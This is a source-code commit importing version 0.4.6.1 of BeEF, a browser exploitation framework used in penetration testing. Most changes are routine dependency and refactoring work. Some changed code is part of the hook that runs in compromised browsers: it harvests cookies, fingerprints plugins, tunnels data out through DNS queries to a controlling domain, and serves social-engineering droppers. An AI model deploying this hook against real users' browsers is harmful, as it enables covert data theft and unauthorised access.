Commit 3aa117dc authored by Sophie Brun's avatar Sophie Brun

Imported Upstream version 0.4.6.1

parent 0f6bb4f8
...@@ -6,58 +6,60 @@ ...@@ -6,58 +6,60 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
gem "eventmachine" gem 'eventmachine'
gem "thin" gem 'thin'
gem "sinatra" gem 'sinatra'
gem "rack" gem 'rack'
gem "em-websocket", "~> 0.3.6" # WebSocket support gem 'em-websocket', '~> 0.3.6' # WebSocket support
gem "uglifier", "~> 2.2.1" gem 'uglifier', '~> 2.2.1'
gem 'mime-types'
# Windows support # Windows support
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw") if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows # make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
gem "therubyracer", "~> 0.11.0beta1" gem 'therubyracer', '~> 0.11.0beta1'
gem "execjs" gem 'execjs'
gem "win32console" gem 'win32console'
elsif !RUBY_PLATFORM.downcase.include?("darwin") elsif !RUBY_PLATFORM.downcase.include?('darwin')
gem "therubyracer", "0.11.3" gem 'therubyracer', '0.11.3'
gem "execjs" gem 'execjs'
end end
gem "ansi" gem 'ansi'
gem "term-ansicolor", :require => "term/ansicolor" gem 'term-ansicolor', :require => 'term/ansicolor'
gem "dm-core" gem 'dm-core'
gem "json" gem 'json'
gem "data_objects" gem 'data_objects'
gem "dm-sqlite-adapter" # SQLite support gem 'dm-sqlite-adapter' # SQLite support
#gem dm-postgres-adapter # PostgreSQL support #gem dm-postgres-adapter # PostgreSQL support
#gem dm-mysql-adapter # MySQL support #gem dm-mysql-adapter # MySQL support
gem "parseconfig" gem 'parseconfig'
gem "erubis" gem 'erubis'
gem "dm-migrations" gem 'dm-migrations'
gem "msfrpc-client" # Metasploit Integration extension gem 'msfrpc-client' # Metasploit Integration extension
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension #gem 'twitter', '>= 5.0.0' # Twitter Notifications extension
gem "rubyzip", ">= 1.0.0" gem 'rubyzip', '>= 1.0.0'
gem "rubydns", "0.7.0" # DNS extension gem 'rubydns', '0.7.0' # DNS extension
gem "geoip" # geolocation support gem 'geoip' # geolocation support
gem "dm-serializer" # network extension gem 'dm-serializer' # network extension
gem "qr4r" # QRcode extension gem 'qr4r' # QRcode extension
# For running unit tests # For running unit tests
if ENV['BEEF_TEST'] if ENV['BEEF_TEST']
gem "test-unit" gem 'test-unit'
gem "test-unit-full" gem 'test-unit-full'
gem "curb" gem 'curb'
gem "test-unit" gem 'selenium'
gem "selenium" gem 'selenium-webdriver'
gem "selenium-webdriver" gem 'rspec'
# nokogirl is needed by capybara which may require one of the below commands # nokogirl is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev # sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt # sudo port install libxml2 libxslt
gem "capybara" gem 'capybara'
# RESTful API tests/generic command module tests # RESTful API tests/generic command module tests
gem "rest-client", "~> 1.6.7" gem 'rest-client', '~> 1.6.7'
end end
source "http://rubygems.org" source 'http://rubygems.org'
GEM
remote: http://rubygems.org/
specs:
addressable (2.3.6)
ansi (1.4.3)
daemons (1.1.9)
data_objects (0.10.14)
addressable (~> 2.1)
dm-core (1.2.1)
addressable (~> 2.3)
dm-do-adapter (1.2.0)
data_objects (~> 0.10.6)
dm-core (~> 1.2.0)
dm-migrations (1.2.0)
dm-core (~> 1.2.0)
dm-sqlite-adapter (1.2.0)
dm-do-adapter (~> 1.2.0)
do_sqlite3 (~> 0.10.6)
do_sqlite3 (0.10.14)
data_objects (= 0.10.14)
em-websocket (0.3.8)
addressable (>= 2.1.1)
eventmachine (>= 0.12.9)
erubis (2.7.0)
eventmachine (1.0.7)
execjs (2.0.2)
geoip (1.4.0)
json (1.8.1)
librex (0.0.68)
libv8 (3.11.8.17)
msfrpc-client (1.0.1)
librex (>= 0.0.32)
msgpack (>= 0.4.5)
msgpack (0.5.8)
multi_json (1.9.3)
parseconfig (1.0.4)
rack (1.5.2)
rack-protection (1.5.3)
rack
rainbow (2.0.0)
ref (1.0.5)
rexec (1.6.3)
rainbow
rubydns (0.7.0)
eventmachine (~> 1.0.0)
rexec (~> 1.6.2)
rubyzip (1.1.3)
sinatra (1.4.2)
rack (~> 1.5, >= 1.5.2)
rack-protection (~> 1.4)
tilt (~> 1.3, >= 1.3.4)
term-ansicolor (1.1.5)
therubyracer (0.11.3)
libv8 (~> 3.11.8.12)
ref
thin (1.6.2)
daemons (>= 1.0.9)
eventmachine (>= 1.0.0)
rack (>= 1.0.0)
tilt (1.4.1)
uglifier (2.2.1)
execjs (>= 0.3.0)
multi_json (~> 1.0, >= 1.0.2)
PLATFORMS
ruby
DEPENDENCIES
ansi
data_objects
dm-core
dm-migrations
dm-sqlite-adapter
em-websocket (~> 0.3.6)
erubis
eventmachine (= 1.0.3)
execjs
geoip
json
msfrpc-client
parseconfig
rack (= 1.5.2)
rubydns (= 0.7.0)
rubyzip (>= 1.0.0)
sinatra (= 1.4.2)
term-ansicolor
therubyracer (= 0.11.3)
thin
uglifier (~> 2.2.1)
...@@ -4,4 +4,4 @@ ...@@ -4,4 +4,4 @@
# See the file 'doc/COPYING' for copying permission # See the file 'doc/COPYING' for copying permission
# #
0.4.6.0-alpha 0.4.6.1-alpha
...@@ -6,7 +6,7 @@ ...@@ -6,7 +6,7 @@
# BeEF Configuration file # BeEF Configuration file
beef: beef:
version: '0.4.6.0-alpha' version: '0.4.6.1-alpha'
# More verbose messages (server-side) # More verbose messages (server-side)
debug: false debug: false
# More verbose messages (client-side) # More verbose messages (client-side)
......
...@@ -142,6 +142,15 @@ module Filters ...@@ -142,6 +142,15 @@ module Filters
valid valid
end end
# Checks if the given string is a valid TCP port
# @param [String] port string for testing
# @return [Boolean] true if the string is a valid TCP port, otherwise false
def self.is_valid_port?(port)
valid = false
valid = true if port.to_i > 0 && port.to_i < 2**16
valid
end
# Checks if string is a valid domain name # Checks if string is a valid domain name
# @param [String] domain string for testing # @param [String] domain string for testing
# @return [Boolean] If the string is a valid domain name # @return [Boolean] If the string is a valid domain name
......
...@@ -16,6 +16,7 @@ require 'base64' ...@@ -16,6 +16,7 @@ require 'base64'
require 'xmlrpc/client' require 'xmlrpc/client'
require 'openssl' require 'openssl'
require 'rubydns' require 'rubydns'
require 'mime/types'
# @note Include the filters # @note Include the filters
require 'core/filters' require 'core/filters'
......
...@@ -2130,16 +2130,6 @@ beef.browser = { ...@@ -2130,16 +2130,6 @@ beef.browser = {
catch (e) { catch (e) {
} }
}}, }},
'Silverlight_Plug-In': {
'control': 'Silverlight Plug-In',
'return': function (control) {
try {
version = navigator.plugins['Silverlight Plug-In']["description"];
return 'Silverlight Plug-In Version ' + version;//+ " description "+ filename;
}
catch (e) {
}
}},
'FoxitReader_Plugin': { 'FoxitReader_Plugin': {
'control': 'FoxitReader Plugin', 'control': 'FoxitReader Plugin',
'return': function (control) { 'return': function (control) {
...@@ -2326,14 +2316,14 @@ beef.browser = { ...@@ -2326,14 +2316,14 @@ beef.browser = {
var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No"; var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No"; var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No"; var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No"; var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No"; var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No"; var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
try { try {
var cookies = document.cookie; var cookies = document.cookie;
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No"; var veglol = beef.browser.cookie.veganLol();
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No"; var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No";
if (cookies) details['Cookies'] = cookies; if (cookies) details['Cookies'] = cookies;
if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies; if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies; if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
...@@ -2372,7 +2362,6 @@ beef.browser = { ...@@ -2372,7 +2362,6 @@ beef.browser = {
if (has_googlegears) details['HasGoogleGears'] = has_googlegears; if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
if (has_webrtc) details['HasWebRTC'] = has_webrtc; if (has_webrtc) details['HasWebRTC'] = has_webrtc;
if (has_activex) details['HasActiveX'] = has_activex; if (has_activex) details['HasActiveX'] = has_activex;
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
if (has_quicktime) details['HasQuickTime'] = has_quicktime; if (has_quicktime) details['HasQuickTime'] = has_quicktime;
if (has_realplayer) details['HasRealPlayer'] = has_realplayer; if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
if (has_wmp) details['HasWMP'] = has_wmp; if (has_wmp) details['HasWMP'] = has_wmp;
......
...@@ -71,12 +71,36 @@ beef.browser.cookie = { ...@@ -71,12 +71,36 @@ beef.browser.cookie = {
( ( domain ) ? ";domain=" + domain : "" ) + ( ( domain ) ? ";domain=" + domain : "" ) +
";expires=Thu, 01-Jan-1970 00:00:01 GMT"; ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
}, },
veganLol: function (){
var to_hell= '';
var min = 17;
var max = 25;
var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
var grunt = function(){
var moo = Math.floor(Math.random() * 62);
var char = '';
if(moo < 36){
char = String.fromCharCode(moo + 55);
}else{
char = String.fromCharCode(moo + 61);
}
if(char != ';' && char != '='){
return char;
}else{
return 'x';
}
};
while(to_hell.length < lol_length){
to_hell += grunt();
}
return to_hell;
},
hasSessionCookies: function (name) hasSessionCookies: function (name){
{ this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', '', '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true; cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', ''); this.deleteCookie(name, '/', '');
...@@ -84,11 +108,8 @@ beef.browser.cookie = { ...@@ -84,11 +108,8 @@ beef.browser.cookie = {
}, },
hasPersistentCookies: function (name) hasPersistentCookies: function (name){
{ this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
var name = name || "cookie";
if (name == "") name = "cookie";
this.setCookie( name, 'none', 1, '/', '', '' );
cookiesEnabled = (this.getCookie(name) == null)? false:true; cookiesEnabled = (this.getCookie(name) == null)? false:true;
this.deleteCookie(name, '/', ''); this.deleteCookie(name, '/', '');
......
This diff is collapsed.
...@@ -30,9 +30,8 @@ beef.net.dns = { ...@@ -30,9 +30,8 @@ beef.net.dns = {
var encodedData = encodeURI(encode_data(data)); var encodedData = encodeURI(encode_data(data));
//TODO remove this beef.debug(encodedData);
console.log(encodedData); beef.debug("_encodedData_ length: " + encodedData.length);
console.log("_encodedData_ length: " + encodedData.length);
// limitations to DNS according to RFC 1035: // limitations to DNS according to RFC 1035:
// o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters // o Domain names must only consist of a-z, A-Z, 0-9, hyphen (-) and fullstop (.) characters
...@@ -50,8 +49,7 @@ beef.net.dns = { ...@@ -50,8 +49,7 @@ beef.net.dns = {
var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers var max_domain_length = 255 - reserved_seq_length; //leave some space for sequence numbers
var max_data_segment_length = 63; // by RFC var max_data_segment_length = 63; // by RFC
//TODO remove this beef.debug("max_data_segment_length: " + max_data_segment_length);
console.log("max_data_segment_length: " + max_data_segment_length);
var dom = document.createElement('b'); var dom = document.createElement('b');
...@@ -76,8 +74,7 @@ beef.net.dns = { ...@@ -76,8 +74,7 @@ beef.net.dns = {
var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request var ident = "0xb3"; //see extensions/dns/dns.rb, useful to explicitly mark the DNS request as a tunnel request
//TODO remove this beef.debug(segments.length);
console.log(segments.length);
for (var seq=1; seq<=segments.length; seq++) { for (var seq=1; seq<=segments.length; seq++) {
sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain); sendQuery(ident + msgId + "." + seq + "." + segments.length + "." + segments[seq-1] + "." + domain);
......
...@@ -67,10 +67,12 @@ Beefwebrtc.prototype.initialize = function() { ...@@ -67,10 +67,12 @@ Beefwebrtc.prototype.initialize = function() {
// Initialise the pcConfig hash with the provided stunservers // Initialise the pcConfig hash with the provided stunservers
var stuns = JSON.parse(this.stunservers); var stuns = JSON.parse(this.stunservers);
this.pcConfig = {"iceServers": [{"urls":stuns}]}; this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
"credential":"pass"}]};
// We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
this.forceTurn(this.turnjson); // this.forceTurn(this.turnjson);
this.turnDone = true;
// Caller is always ready to create peerConnection. // Caller is always ready to create peerConnection.
this.signalingReady = this.initiator; this.signalingReady = this.initiator;
...@@ -450,6 +452,18 @@ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) { ...@@ -450,6 +452,18 @@ Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());} if (localverbose === true) {beef.debug('Failed to create session description: ' + error.toString());}
} }
// If the browser successfully sets a remote description
Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
var localverbose = false;
for (var k in beefrtcs) {
if (beefrtcs[k].verbose === true) {
localverbose = true;
}
}
if (localverbose === true) {beef.debug('Set remote session description successfully');}
}
// Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart() // Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()
Beefwebrtc.prototype.calleeStart = function() { Beefwebrtc.prototype.calleeStart = function() {
// Callee starts to process cached offer and other messages. // Callee starts to process cached offer and other messages.
...@@ -467,11 +481,55 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { ...@@ -467,11 +481,55 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
if (message.type === 'offer') { if (message.type === 'offer') {
if (this.verbose) {beef.debug("Processing signalling message: OFFER");} if (this.verbose) {beef.debug("Processing signalling message: OFFER");}
this.setRemote(message); if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new
this.doAnswer(); // version of FF - which no longer works
if (this.verbose) {beef.debug("Moz shim here");}
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {
// globalrtc[this.peerid].createAnswer(function(answer) {
// globalrtc[this.peerid].setLocalDescription(
var peerid = null;
for (var k in beefrtcs) {
if (beefrtcs[k].allgood === false) {
peerid = beefrtcs[k].peerid;
}
}
globalrtc[peerid].createAnswer(function(answer) {
globalrtc[peerid].setLocalDescription(
new RTCSessionDescription(answer),
function() {
beefrtcs[peerid].sendSignalMsg(answer);
},function(error) {
beef.debug("setLocalDescription error: " + error);
});
},function(error) {
beef.debug("createAnswer error: " +error);
});
},function(error) {
beef.debug("setRemoteDescription error: " + error);
});
} else {
this.setRemote(message);
this.doAnswer();
}
} else if (message.type === 'answer') { } else if (message.type === 'answer') {
if (this.verbose) {beef.debug("Processing signalling message: ANSWER");} if (this.verbose) {beef.debug("Processing signalling message: ANSWER");}
this.setRemote(message); if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer
if (this.verbose) {beef.debug("Moz shim here");}
globalrtc[this.peerid].setRemoteDescription(
new RTCSessionDescription(message),
function() {},
function(error) {
beef.debug("setRemoteDescription error: " + error);
});
} else {
this.setRemote(message);
}
} else if (message.type === 'candidate') { } else if (message.type === 'candidate') {
if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");} if (this.verbose) {beef.debug("Processing signalling message: CANDIDATE");}
var candidate = new RTCIceCandidate({sdpMLineIndex: message.label, var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,
...@@ -486,11 +544,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) { ...@@ -486,11 +544,11 @@ Beefwebrtc.prototype.processSignalingMessage = function(message) {
// Used to set the RTC remote session // Used to set the RTC remote session
Beefwebrtc.prototype.setRemote = function(message) { Beefwebrtc.prototype.setRemote = function(message) {
globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message), globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),
onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError); this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);
function onSetRemoteDescriptionSuccess() { // function onSetRemoteDescriptionSuccess() {
if (this.verbose) {beef.debug("Set remote session description success.");} // if (this.verbose) {beef.debug("Set remote session description success.");}
} // }
} }
// As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below // As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below
...@@ -585,4 +643,4 @@ beef.webrtc = { ...@@ -585,4 +643,4 @@ beef.webrtc = {
} }
} }
} }
beef.regCmp('beef.webrtc'); beef.regCmp('beef.webrtc');
\ No newline at end of file
...@@ -180,8 +180,7 @@ module BeEF ...@@ -180,8 +180,7 @@ module BeEF
if config.get("beef.extension.network.enable") == true if config.get("beef.extension.network.enable") == true
if proxy_server =~ /^([\d\.]+):([\d]+)$/ if proxy_server =~ /^([\d\.]+):([\d]+)$/
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]") print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init') BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
r.save
end end
end end
end end
...@@ -320,7 +319,7 @@ module BeEF ...@@ -320,7 +319,7 @@ module BeEF
components = [ components = [
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears', 'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
'HasWebSocket', 'HasWebRTC', 'HasActiveX', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
'hasSessionCookies', 'hasPersistentCookies' 'hasSessionCookies', 'hasPersistentCookies'
] ]
components.each do |k| components.each do |k|
...@@ -354,8 +353,7 @@ module BeEF ...@@ -354,8 +353,7 @@ module BeEF
# add localhost as network host # add localhost as network host
if config.get('beef.extension.network.enable') if config.get('beef.extension.network.enable')
print_debug("Hooked browser has network interface 127.0.0.1") print_debug("Hooked browser has network interface 127.0.0.1")
r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init') BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
r.save
end end
# Call autorun modules # Call autorun modules
......
...@@ -59,7 +59,7 @@ module Handlers ...@@ -59,7 +59,7 @@ module Handlers
# Binds a file to a mount point # Binds a file to a mount point
# @param [String] file File path to asset # @param [String] file File path to asset
# @param [String] path URL path to mount the asset to (can be nil for random path) # @param [String] path URL path to mount the asset to (can be nil for random path)
# @param [String] extension Extension to append to the URL path (can be nil for none) # @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited) # @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
# @return [String] URL Path of mounted asset # @return [String] URL Path of mounted asset
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session # @todo This function should accept a hooked browser session to limit the mounted file to a certain session
...@@ -71,13 +71,20 @@ module Handlers ...@@ -71,13 +71,20 @@ module Handlers
'count' => count} 'count' => count}
resp_body = File.read("#{root_dir}#{file}") resp_body = File.read("#{root_dir}#{file}")
if extension.nil? || MIME::Types.type_for(extension).empty?
content_type = 'text/plain'
else
content_type = MIME::Types.type_for(extension).first.content_type
end
@http_server.mount( @http_server.mount(
url, url,
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type'=>'text/plain'}, resp_body) BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body)
) )
@http_server.remap @http_server.remap
print_info "File [#{file}] bound to url [#{url}]" print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
url url
end end
......
...@@ -38,7 +38,9 @@ module BeEF ...@@ -38,7 +38,9 @@ module BeEF
droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/" droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/"
if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file) if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount) f_ext = File.extname(local_file).gsub('.','')
f_ext = nil if f_ext.empty?
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext)
status 200 status 200
else else
halt 400 halt 400
......
...@@ -90,7 +90,7 @@ module API ...@@ -90,7 +90,7 @@ module API
if !config.get("beef.http.web_server_imitation.enable") if !config.get("beef.http.web_server_imitation.enable")
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind( BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/extensions/admin_ui/media#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}", "/extensions/admin_ui/media#{config.get("beef.extension.admin_ui.favicon_dir")}/#{config.get("beef.extension.admin_ui.favicon_file_name")}",
'/favicon.ico') '/favicon.ico', 'ico')
end end
self.build_javascript_ui beef_server self.build_javascript_ui beef_server
......